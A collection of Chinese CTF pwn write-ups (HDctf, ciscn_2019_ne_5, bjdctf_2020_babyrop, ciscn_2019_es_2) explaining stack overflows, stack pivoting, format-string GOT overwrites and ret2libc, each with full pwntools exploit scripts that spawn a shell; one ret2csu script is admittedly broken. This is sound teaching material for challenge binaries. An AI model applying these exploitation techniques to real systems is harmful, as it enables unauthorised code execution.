## HDctf；keep on！

例行检查：



![image-20230424195216306](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241952441.png)

确定是64位动态链接文件并且只开启了NX保护。

ida查看：
![image-20230424195319904](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241953959.png)

这里有两次read输入，但是第一次限制字符长度为0x48，小于s的栈空间0x50。所以这里肯定无法进行栈溢出。

那我们再看下一个read，发现这一个虽然可以进行溢出但是仅仅只能溢出0x10字节长度的数据，那么长rop链必然是无法构造了。

那我第一想法就是栈迁移。大致原理在之前一篇wp中写过。

## 做法一



### 栈迁移

要进行栈迁移我们就必须要得到pre-rbp的地址

这里就得用GDB动态调试一波：

![image-20230424201046804](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304242010031.png)

这里就可以计算出rbp知道rbp的位置，于是乎就可以泄露rbp的地址。

```python
io.send(b'%16$p')
io.recvuntil(b'hello')
pre_rbp = int(io.recv(12),16)
```

这里`pre_rbp = int(io.recv(12),16)`不可以用u64()那一个语句，因为这里我们接收的其实就是一段16进制数据而并不是一串字符序列。

有了rbp的地址我们还得计算主调函数与被调函数rbp的偏移，因为被调函数的rbp中放的是主调函数的地址，所以还得再调试一波;

![image-20230424202158235](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304242021313.png)

从这里不难看出offset为0x10

根据ida可以知道栈空间为0x50，所以可以算出我们新栈帧的栈顶应该在pre_rbp-0x60的位置上

### exp

```python
from pwn import*
context(log_level = 'debug',arch='amd64',os = 'linux')

#io =remote('node4.anna.nssctf.cn',28324)
io = process('/home/hyrink/ctftest/pre-save/hdctf')
elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
io.recv()
io.send(b'%16$p')
io.recvuntil(b'hello')
pre_rbp = int(io.recv(12),16)
leave_ret = 0x04007f2
#泄露ebp地址
print(hex(pre_rbp))
#发送攻击脚本
new_rbp = pre_rbp-0x60
ret = 0x04005b9
system = 0x04005E0
pop_rdi = 0x04008d3 
io.recv()
payload = (b'a'*(0x8)+p64(pop_rdi)+p64(pre_rbp - 0x40)+p64(system)+b'/bin/sh').ljust(0x50,b'\x00')+p64(new_rbp)+p64(leave_ret)

io.sendline(payload)
io.interactive()
```

这道题其实想了挺久的，果然菜是原罪。（悲

---

## 做法二

做法二其实是我看dalao们的writeup才知道的，也是属于格式化字符串的利用，只不过我们不再需要栈迁移，而是直接劫持printf_got地址。

这里先介绍一个pwntools中提供的一个方法：fmtstr_payload()

> `pwnlib.fmtstr.``fmtstr_payload`(*偏移*量， *写入*， *numbwrite=0*， *write_size='byte'*） → str[[来源\]](https://github.com/Gallopsled/pwntools/blob/493a3e3d92/pwnlib/fmtstr.py#L759-L814)
>
> 使用给定参数生成有效负载。 它可以生成 32 位或 64 位架构的有效负载。 地址的大小取自`context.bits`
>
> 溢出参数是格式字符串长度到输出量的权衡： 的值越大，生成的格式字符串越短，这些字符串在运行时生成更多的输出。`overflows`
>
> | 参数： | **偏移**量 （[*INT*](https://docs.python.org/3.8/library/functions.html#int)） – 您控制的第一个格式化程序的偏移量**写入**（[*字典*](https://docs.python.org/3.8/library/stdtypes.html#dict)） – 带有地址的字典，值`{addr: value, addr2: value2}`**numbwrite** （[*int*](https://docs.python.org/3.8/library/functions.html#int)） – printf 函数已经写入的字节数**write_size** （[*str*](https://docs.python.org/3.8/library/stdtypes.html#str)） – 必须是 或 。告诉您是要逐字节写入、短按短写还是按整数写入（hhn、hn 或 n）`byte``short``int`**溢出** （[*INT*](https://docs.python.org/3.8/library/functions.html#int)） – 允许多少额外溢出（大小为 sz）以减少格式字符串的长度**策略** （[*str*](https://docs.python.org/3.8/library/stdtypes.html#str)） – “快速”或“小”（默认为“小”，如果有很多写入，则可以使用“快速”） |
> | :----- | ------------------------------------------------------------ |
> | 返回： | 有效负载，以便执行所需的写入                                 |
>
> 参考：
>
> [pwnlib]([pwnlib.fmtstr — 格式化字符串错误开发工具 — pwntools 4.8.0 文档](https://docs.pwntools.com/en/stable/fmtstr.html))

所以这里我们可以利用这一个方法直接劫持printf_got表地址，修改为system的plt地址（前提是程序中有system函数）

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
io = remote('node4.anna.nssctf.cn',28413)
#io = process('/home/hyrink/ctftest/pre-save/hdctf')

elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
printf_got = elf.got['printf']
system = elf.plt['system']
vuln = elf.symbols['vuln']

payload = fmtstr_payload(6,{printf_got:system})
```

然后直接在第二次溢出点返回vuln函数再次执printf函数（实际为system）：

所以接下来只需要输入/bin/sh即可

```python
io.send(payload)

payload = b'a'*(0x50+8)+p64(vuln)
#io.recvuntil(b'keep on !\n')
io.send(payload)

io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')

io.interactive()


```

### exp

```python
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
io = remote('node4.anna.nssctf.cn',28413)
#io = process('/home/hyrink/ctftest/pre-save/hdctf')

elf = ELF('/home/hyrink/ctftest/pre-save/hdctf')
printf_got = elf.got['printf']
system = elf.plt['system']
vuln = elf.symbols['vuln']

payload = fmtstr_payload(6,{printf_got:system})

io.send(payload)

payload = b'a'*(0x50+8)+p64(vuln)
#io.recvuntil(b'keep on !\n')
io.send(payload)

io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')

io.interactive()


```

flag：

![image-20230424211051485](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304242110560.png)


> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

HDctf；keep on！

# pwn & 简单栈溢出

#### 知识背景：

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。此外，我们也不难发现，发生栈溢出的基本前提是

- 程序必须向栈上写入数据。

- 写入的数据大小没有被良好地控制。



  ### 寻找危险函数 

  通过寻找危险函数，我们快速确定程序是否可能有栈溢出，以及有的话，栈溢出的位置在哪里。常见的危险函数如下

  - 输入

    - gets，直接读取一行，忽略'\x00'
    - scanf
    - vscanf

  - 输出

    - sprintf

  - 字符串

    - strcpy，字符串复制，遇到'\x00'停止

    - strcat，字符串拼接，遇到'\x00'停止

    - bcopy

      

      这道题目主要利用的就是strcpy函数造成的栈溢出漏洞。

  ### 确定填充长度 [¶](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/#_6)

  这一部分主要是计算**我们所要操作的地址与我们所要覆盖的地址的距离**。常见的操作方法就是打开 IDA，根据其给定的地址计算偏移。一般变量会有以下几种索引模式

  - 相对于栈基地址的的索引，可以直接通过查看 EBP 相对偏移获得
  - 相对应栈顶指针的索引，一般需要进行调试，之后还是会转换到第一种类型。
  - 直接地址索引，就相当于直接给定了地址。

  一般来说，我们会有如下的覆盖需求

  - **覆盖函数返回地址**，这时候就是直接看 EBP 即可。
  - **覆盖栈上某个变量的内容**，这时候就需要更加精细的计算了。
  - **覆盖 bss 段某个变量的内容**。
  - 根据现实执行情况，覆盖特定的变量或地址的内容。

  之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来**直接或者间接地控制程序执行流程**。

  #### 解

老规矩，先查看文件：

![image-20230404202907091](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740043.png)

发现保护只开了NX，所以注入ret2shellcode基本不用想

![image-20230404203022211](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740543.png)

文件是32位动态链接文件。

所以将文件拖入ida32查看反汇编：

![image-20230404203247145](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740480.png)

![image-20230404203324332](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740414.png)

通过查看伪代码可以大概知道程序先通过检验输入是否为‘administrator’来决定是否继续执行程序，

然后有一个目录，目录下有四个函数，通过输入进行选择，执行完函数之后，有一个‘sub_804892B’函数，返回目录，重新选择，此处也是一个可以利用的点，第一遍执行先将payload输入到src中去，第二遍执行，再通过strcpy实现栈溢出。



先看文件中是否存在system函数和‘sh’字符串

![image-20230404203557806](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740063.png)

![image-20230404203758238](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740292.png)

发现system和‘sh’都存在那么就好做了。

先找栈溢出漏洞，可以看出栈溢出基本就在switch中的四个函数中了，一个一个查看。

## case 1：

![image-20230404204225461](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740733.png)

往scr中写入128个字节长度的数据。

## case 2

![image-20230404204443753](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740416.png)

打印‘s’数据，此处用不到这个函数。

##  case 3

![image-20230404204523775](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740982.png)

调用system函数，同时也说明函数中存在系统函数。

## case 4

![image-20230404204625752](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740616.png)

---

## 结合

由**case 1**和**case 4**可知，由于dest先对于ebp的offset为0x48，而src的偏移为0xFC，所以为如果在**case1**中往**src**写入足够长的字符串，再通过case4将**src**复制到**dest**中就还可以进行栈溢出。

只需要覆盖dest的0x48字节以及pre-ebp的0x4字节，再填写需要执行的system（‘sh’）就可以拿到shell。

## exp

```python
from pwn import*
context(log_level='debug',arch='i386',os='linux')
#io=remote('node4.buuoj.cn',26941) 
io = process('./ciscn_2019_ne_5')

io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')#绕过strcmp
io.recvuntil(b'0.Exit\n:')
io.sendline(b'1')

system_addr =0x080484d0 #此处system函数地址只能填写第一个地址，第二个地址会报错，原因大概是0x080484d0直接跳转到system函数的plt地址，直接执行，而0x80486b9执行的是call system命令，会有一个压返回地址和ebp的操作，然后跳转到system的plt地址执行。
binsh_addr = 0x080482ea


payload = b'a'*(0x48+0x4)+p32(system_addr) +b'abcd'+ p32(binsh_addr)  #此处

io.recvuntil(b'Please input new log info:')

#gdb.attach(io)
io.sendline(payload)
io.sendlineafter(b'0.Exit\n:',b'4')

io.interactive()

```

---

## flag

![image-20230404211210507](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241740528.png)

---

## 总结

本题主要思路就是仔细查看汇编与伪代码，找出其中可利用的段达成溢出，输入自己的构造的payload，然后就可以获取到shell拿到flag。
> 作者新手一枚，文章如有错误还请多多包涵。如果各位Dalao能够指出错误，那就再好不过了，红豆泥私密马赛！

ciscn_2019_ne_5

bjdctf_2020_babyrop
先检查文件保护：



![image-20230411130100865](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241735339.png)

很明显就开启了栈不可执行，和partial relro:

- 该ELF文件的各个部分被重新排序。内数据段（internal data sections）（如.got，.dtors等）置于程序数据段（program’s data sections）（如.data和.bss）之前；
- 无 plt 指向的GOT是只读的；
- GOT表可写（应该是与上面有所区别的）。

![image-20230411130237468](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241736130.png)

很明显是64位，拖进ida查看：

![image-20230411130333389](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241736174.png)

可以看到有两个函数，init和vuln：

查看init

![image-20230411130512857](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111305900.png)

发现就是关闭缓冲区和打印两段文字

再查看vuln：

![image-20230411130626716](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111306754.png)

这里可以看到有很明显的缓冲区溢出在read处。

这里我们就已经可以开始写exp了

在此之前可以再看看是否程序中直接给出了我们想要的东西：

![image-20230411131048041](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111310093.png)

很明显也没有，那么我们基本可以进行ret2libc：

第一步先查找pop_rdi:

![image-20230411131231039](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111312083.png)

因为题目中已经告诉我们是ubuntu16的系统，所以必然不需要在使用ret进行堆栈平衡。

所以有exp：

```python
from pwn import*
from LibcSearcher import*
context(log_level = 'debug',arch = 'amd64',os= 'linux')
io = remote('node4.buuoj.cn',27892)
#io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['main']
pop_rdi = 0x0400733
ret = 0x4004c9

payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)

io.recvuntil(b'Pull up your sword and tell me u story!\n')
io.sendline(payload1)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
#gdb.attach(io)
payload2 = b'a'*(0x20+8)+flat([pop_rdi,binsh,system])
#io.recvuntil(b'Pull up your sword and tell me u story!\n')

io.sendline(payload2)
io.interactive()

```

这样在本地是打不通的，应该是跟本地的libc版本有关（我还调了老半天），打远程秒解。

![image-20230411131646614](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111316687.png)

---

### 疑惑

在这里用ret2libc打通后，我突然想用ret2csu再打一遍

于是我写了下面这样的exp：

```python
from pwn import*
from LibcSearcher import*
#context(log_level='debug',arch='amd64',os='linux')

io = remote('node4.buuoj.cn',27892)
#io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr=elf.symbols['vuln']
csu_last= 0x40072A
csu_former=0x400710

#def csu(rbx,rbp,r12,r13,r14,r15,addr):
payload1 = b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(puts_plt)+p64(0)+p64(0)+p64(puts_got)+p64(csu_former)+b'a'*0x38+p64(vuln_addr)
    #io.sendline(payload)
   
#gdb.attach(io)
io.recvuntil(b'story!\n')
#csu(0,1,puts_plt,0,0,puts_got,vuln_addr)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload2= b'a'*(0x28)+p64(csu_last)+p64(0)+p64(1)+p64(system)+p64(0)+p64(0)+p64(binah)+p64(csu_former)+b'a'*0x38+p64(vuln_addr)
#io.recvuntil(b'Pull up your sword and tell me u story!\n')
#csu(0,1,system,0,0,binsh,vuln_addr)
io.sendline(payload2)

io.interactive()
```

这里我一开始也是define一个csu函数进行构造payload在发送，但是一直报错，一开始我以为是那个地方写错了，但是我看了好久还是没有问题。

然后开始了本地调试，然后就是我很不理解的地方：

![image-20230411132135534](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111321594.png)

一直报错：

![image-20230411132155177](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304111321218.png)

我很不能理解为什么0x400710会变成0x7fff00400710，网上查了说是二进制符号位和aslr，但是如果是这样的话，那为什么我第一个p64(csu_last)可以成功跳转呢？这一点存疑

这一个问题不管是定义函数还是直接使用都会出现，甚至不用这个地址用一开始csu_last地址也会变成0x7fff，这让我怀疑这个ret或者说前面的寄存器的值是否是可以随便填写的。

---

这里地址错误的原因大抵是因为：

![image-20230411201814690](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304112018838.png)

只有0x44字节空间，不够填充。可以两次利用。

【注意】：即便是64位传参，def csu（）时参数都在寄存器中，但是第二次覆盖b’a’*0x38必然还是不够，因为还是要溢出，但是如果将一压参的方式进进行覆盖或许就可以。

bjdctf_2020_babyrop

ciscn_2019_es_2-&-栈迁移
例行检查：



![image-20230414204251738](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304142042883.png)

可以看到为32位ELF文件，只开启了堆栈不可执行保护。

查看汇编和伪代码：

![image-20230414204431726](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304142044773.png)

简单查看可以知道栈溢出漏洞在vul函数中：

![image-20230414204514447](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304142045483.png)

但是同时这里又出现了一个问题就是：虽然read函数可以读取0x30字节数据并且刚好可以覆盖到返回地址，但是却没有足够的空间构造rop链，所以这里构造rop链的方式基本可以否决。那么我们该如何利用这个返回地址去完成getshell？

我们都知道指令的执行其实是按照esp/rsp指针指向的地址进行操作的，就比如：push，pull对栈进行操作的指令，都是往栈顶。

下面对这道题进行详解：

所以这里我们就需要用到栈迁移的技巧去构造一个新的栈结构。

#### 什么是栈迁移？
**EBP被称为栈帧寄存器，每一次函数调用都会通过栈帧来对栈内数据进行维护。当我们想办法修改EBP寄存器到其他地方，那么函数的栈空间也就发生了改变。这就叫做栈迁移**。

我们为什么要使用栈迁移呢？我们在什么情况下使用栈迁移？
**我们首先要知道栈溢出在什么情况下可以getshell？大多数情况都是我们可输入的字符远远的超出了缓冲区与栈帧之间的距离。但是我们不可能总是这么幸运，我们总能输入很长的字符串，那么如果我们只能输入几个字节，我们又该如何利用？这时我们就可以使用到栈迁移**

那么我们如何去利用栈迁移进行溢出呢？
**看一下上一节当函数调用结束时的几个指令，就是利用`leave;ret`指令。由于用到了这两个指令，那么我们溢出的时候就需要有这么一个前提：即使我们溢出缓冲区的字节数很少，也需要覆盖到EBP和EIP这两个地方。EBP将决定我们可以将栈空间放在哪里，而ret指令将决定我们调用完函数以后可以干什么**

### 如何进行栈迁移？

首先我们应该如何去构造一个符合我们预期的栈帧，这里就要用到ebp，esp这两个指针。

我们该怎么去改变esp和ebp指针呢？这里就要用到leave，ret指令，leave：mov esp，ebp|pop ebp  ； ret: pop eip。

首先我们看一开始的栈帧结构：

![image-20230415101152412](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151011513.png)

##### 第一次leave ret

而当程序运行到程序中的**leave**时：

![image-20230415101328138](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151013179.png)

首先就会执行mov esp，ebp

esp中变成ebp的地址，所以esp跳转到esp指针指向的位置，也就是上图所示。

其实leave指令第一步就是将esp移动到ebp指向的位置，所以我们就会想到利用可以覆盖的pre_ebp和return addr进行ebp和esp指针的控制。

第二步就是执行pop ebp，这里我们的目的就是让esp重新指向我们填充数据的pre_esp所以应该往pre_ebp里面覆盖之前栈顶的地址。

但是很明显我们并不清楚他的地址，但是知道ebp指针和栈顶的相对偏移为0x28。所以我们可以选择先对pre_ebp地址进行泄露，利用printf。

```python
payload1 = b'a'*(0x27)+b'b'
io.send(payload1)
io.recvuntil(b'b')
pre_ebp = u32(io.recv(4))
```

这里先填充0x28字节垃圾数据，利用printf输出pre_ebp的地址（这里因为printf遇到\x00截断，而pre_ebp里是前一个ebp的地址所以并不会被截断，反而会将地址泄露出来）。泄露出来之后其实还不够，因为这地址是caller函数的地址，所以这里我调试可以知道caller和callee的ebp之间的距离，再加上0x28就是我们想要的new_ebp的地址

![image-20230414225232708](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304142252815.png)

这里显示距离为0x10，所以new_ebp = pre_ebp-0x38

---

之后再执行pop ebp就如下图：

![image-20230415104910291](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151049340.png)

接着就会执行ret，为了把esp移动到ebp的位置就需要在执行一遍leave指令：

![image-20230415105157119](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151051200.png)

填充到ret addr。

---

#### 第二次leave ret

第二次执行之后其实

![image-20230415105404748](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151054806.png)

当esp重新回到我们想要的地址后，ebp的位置就不那么重要了，所以在栈顶填充4字节垃圾数据用于pop ebp。

之后就可以正常填充我们的攻击脚本了。

![image-20230415105721752](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304151057804.png)

大概就是这样

---

#### exp

```python
from pwn import*
context(log_level='debug',arch='i386',os='linux')
context.terminal=["tmux","split","-h"]
#io =remote('node4.buuoj.cn',28143)
io=process('./ciscn_2019_es_2')
payload1 = b'a'*(0x27)+b'b'
io.send(payload1)
io.recvuntil(b'b')
pre_ebp = u32(io.recv(4))

print(hex(pre_ebp))

pop_ebp = 0x0804869b
leave_ret = 0x080484b8

system = 0x8048400
#payload2 = b'a'*(0x28+4)+p32(0x08048410)

new_ebp_addr = pre_ebp - 0x38
#gdb.attach(io)
payload2 =b'a'*4+p32(system)+b'a'*4+p32(pre_ebp -0x28)+b'/bin/sh'
payload2+=b'\x00'*0x11+p32(new_ebp_addr)+p32(leave_ret)

io.sendline(payload2)

io.interactive()
```

*解释 & 注意：*

* io.send(),不能用io.sendline(),因为io.sendline(),会后置一个‘\n’,导致后面recv接收出错。

* new_ebp_addr是pre_ebp-0x38，而不是0x28
* payload2中system返回地址后面要填写的是/bin/sh在栈上的地址(因为/bin/sh是字符串)，同时/bin/sh后面要用\x00截断。

### 总结

栈迁移就是利用一系列对栈顶和栈基指针的指令完成对新栈的构建。